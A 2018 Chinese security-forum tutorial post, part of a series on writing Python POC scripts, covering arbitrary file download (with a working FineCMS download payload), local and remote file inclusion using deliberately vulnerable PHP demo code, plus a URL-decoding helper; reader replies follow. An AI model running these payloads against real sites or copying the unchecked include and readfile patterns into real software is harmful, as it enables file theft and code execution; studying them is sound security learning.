用户
搜索
  • TA的每日心情
    奋斗
    昨天 15:39
  • 签到天数: 153 天

    连续签到: 3 天

    [LV.7]常住居民III

    管理员

    Supreme玩家

    Rank: 9Rank: 9Rank: 9

    71

    主题

    2264

    帖子

    8899

    魔法币
    收听
    0
    粉丝
    91
    注册时间
    2016-2-5

    楚核心白帽i春秋签约作者白帽传说春秋游侠秦燕魏赵齐突出贡献

    发表于 2018-1-24 21:36:15 3936600
    本文原创作者:阿甫哥哥,本文属i春秋原创奖励计划,未经许可禁止转载
    0.jpg
    系列文章专辑:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=96
    目录:
    2x12 文件下载(读取)类漏洞POC编写

    2x13 文件包含类漏洞POC编写(上)

    2x14 文件包含类漏洞POC编写(下)

    2x12 文件下载(读取)类漏洞POC编写
    什么是文件下载漏洞呢?
    一些网站由于业务需求,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意的文件,可以是源代码文件、敏感文件等。
    这里先引用一个例子
    [PHP] 纯文本查看 复制代码
    <?php
    if(empty($_GET['filename'])){
            echo '任意文件下载测试~'."<br>请输入需要下载的文件名";
    }else{
            $filename = $_GET['filename'];
            $fileinfo = pathinfo($filename);
            header('Content-type: application/x-'.$fileinfo['extension']);
            header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
            header('Content-Length: '.filesize($filename));
            readfile($filename);
            exit();
    }
    ?>
    如果只打开它是这样的,文件并没有被下载而是解析了其中的代码
    40.jpg
    在网站根目录下新建一个文件夹Demo并新建一个名为demo.php的文件
    http://localhost/DownloadDEMO/Download.php?filename=/demo/DEMO.php
    41.jpg
    这大概就是任意下载的全部内容,啊哈哈,不太详细,这毕竟不是本文的中心
    本次采用的栗子是Finecms的任意文件下载漏洞
    漏洞分析请戳:
    Payload:
    /index.php?c=api&a=down&file=NDgwNTA0M2RFRXRkc1ZTaGNuczJBSjZTSk9KSDVTYnFqL251K0lNRjBQK0tla0FBTVpHM3dLbU8yVTNWaE1SYTRtRXRjUlQ3bDd4cGRQeVRKMGVlcDEvQjNRVlA4bTNnMi9SZDRDSjBOUQ

    42.jpg
    这个POC很好写啊,老套路,我就直接贴代码
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import sys
    import requests
    
    defaultencoding = 'utf-8'
    if sys.getdefaultencoding() != defaultencoding:
        reload(sys)
        sys.setdefaultencoding(defaultencoding)
    #上面那一段是将Python的默认编码方式修改为utf-8,就不会乱码咯
    def POC(attack_url):
            attack_req = requests.get(url=attack_url+"/index.php?c=api&a=down&file=NDgwNTA0M2RFRXRkc1ZTaGNuczJBSjZTSk9KSDVTYnFqL251K0lNRjBQK0tla0FBTVpHM3dLbU8yVTNWaE1SYTRtRXRjUlQ3bDd4cGRQeVRKMGVlcDEvQjNRVlA4bTNnMi9SZDRDSjBOUQ")
            if "应用程序配置信息" in attack_req.text:
                    print attack_req.text
            else:
                    print "False"
    if __name__ == '__main__':
            POC("http://localhost/finecms")
    
    2x13 文件包含类漏洞POC编写(上)
    什么是包含
    程序猿常常把可以重复利用的函数写到单文件中,在使用一些函数时,直接调用,无须再次编写,这种过程呢,就称为包含

    文件包含漏洞是怎样产生的
    程序猿为了让代码更灵活,会设置一些变量,用来动态调用,由于这种灵活,使客户端阔以调用一个恶意的文件,从而造成文件包含漏洞

    文件包含漏洞的分类
    文件包含漏分为本地文件包含(Local File Inclusion)远程文件包含(Remote FileInclusion)

    先讲本地文件包含(LFI)
    代码引用自我小号的文章
    [PHP] 纯文本查看 复制代码
    <?php
      if(isset($_GET['file'])){
      $file = $_GET['file'];
      include $file; }
    ?>
    然后在写包含了一个phpinfo.txt,文件内容是符合PHP语法的代码
    [PHP] 纯文本查看 复制代码
    <?php
      phpinfo();
    ?>

    然后访问URL
    http://localhost/LFIdemo/demo.php?file=payload.txt
    43.jpg
    然后就可以根据这个写POC了
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import requests
    
    
    def POC(attack_url):
            attack_req = requests.get(url=attack_url+"/demo.php?file=payload.txt")
            if "PHP Version 5.4.45" in attack_req.text:
                    print "Ture"
            else:
                    print "False"
    if __name__ == '__main__':
            POC("http://localhost/LFIdemo")
    

    这类漏洞其实还算好写.......我没找到合适的CMS就用上面的栗子了....
    2x14 文件包含类漏洞POC编写(下)
    本小节讲的是远程文件包含(RFI)
    必须要确定PHP开启了远程包含功能选项,开启此功能须在PHP.ini配置文件中修改,成功后重启服务器生效
    即allow_url_include=on
    44.jpg
    然后先讲个小栗子吧...
    某服务器上存在一个txt文件
    [PHP] 纯文本查看 复制代码
    <?php
      echo"Exp1ore is Supreme BOY!"
    ?>

    然后在本地搭建的服务器上存在一个php文件
    [Perl] 纯文本查看 复制代码
    <?php
      if(isset($_GET['file'])){
      $file = $_GET['file'];
      include $file; }
    ?>

    然后漏洞地址是这样的
    http://localhost/RFIdemo/test.php?file=http://**.**.*.**/1.txt
    45.jpg
    POC这么写

    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import requests
    
    
    def POC(attack_url):
            attack_req = requests.get(url=attack_url+"?file=http://**.**.*.**/1.txt")
            if "PHP Version 5.4.45" in attack_req.text:
                    print "Ture"
            else:
                    print "False"
    if __name__ == '__main__':
            POC("http://localhost/RFIdemo/test.php")
    


    彩蛋篇CTF_TOOLS之URL解码工具
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import urllib
    import sys
    
    def decode(urlcode):
    url_decode = urllib.unquote(urlcode)
    return url_decode
    def main():
    arg = sys.argv
    url = ''
    if len(arg) == 2:
    urlcode = arg[1]
    print decode(urlcode)
    else:
    print "Usage: python %s urlcode" % (arg[0]) 
    if __name__ == '__main__':
    main()
    

    46.gif

    本集完


    本帖被以下淘专辑推荐:

    一位特爱收藏Supreme的大哥哥....

    回帖奖励 +8

                  66666666666         
    使用道具 举报 回复

    回帖奖励 +8

    已经写到文件包含漏洞了,加油,这段时间考证没关注,今天重新梳理一遍
    使用道具 举报 回复
    发表于 2018-1-24 21:40:30
    回复即送魔法币!!!专辑求关注,求评分
    Python大法从入门到编写POC
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复

    回帖奖励 +8

    6666,表哥能不能写个字符串和字节码(\xab那种)互转的
    使用道具 举报 回复

    回帖奖励 +8


    虽然我不懂python ,,但是我是来学习思路的,和蹭币的!
    使用道具 举报 回复
    非常非常实用的教程,脱离工具小子的第一步!
    使用道具 举报 回复
    大神功底深厚,小弟我要慢慢消化
    使用道具 举报 回复
    发表于 2018-1-26 09:51:46

    回帖奖励 +8

    支持一波。后期可以注重讲下爬虫。
    使用道具 举报 回复

    回帖奖励 +8

    顶!感谢分享
    使用道具 举报 回复
    发表于 2018-1-24 22:14:58

    回帖奖励 +8

    不错学习了,新手也正在学py
    使用道具 举报 回复

    回帖奖励 +8

    感谢大神无私奉献,学习了!
    使用道具 举报 回复
    发表于 2018-1-24 22:18:52

    回帖奖励 +8

    我是来蹭魔法币的
    使用道具 举报 回复
    发表于 2018-1-24 22:24:00

    回帖奖励 +8

    魔法币魔法币魔法币
    使用道具 举报 回复
    发表于 2018-1-25 14:04:29

    回帖奖励 +8

    感谢表哥
    低调求发展,潜心学安全
    使用道具 举报 回复
    发表于 2018-1-25 14:07:37

    回帖奖励 +8

    支持一波
    使用道具 举报 回复
    发表于 2018-1-25 14:24:30

    回帖奖励 +8

    使用道具 举报 回复
    发表于 2018-1-25 15:45:07

    回帖奖励 +8

    URL解码工具真棒
    使用道具 举报 回复

    回帖奖励 +8

    文件包含吧!
    顶!感谢分享!
    使用道具 举报 回复
    123下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册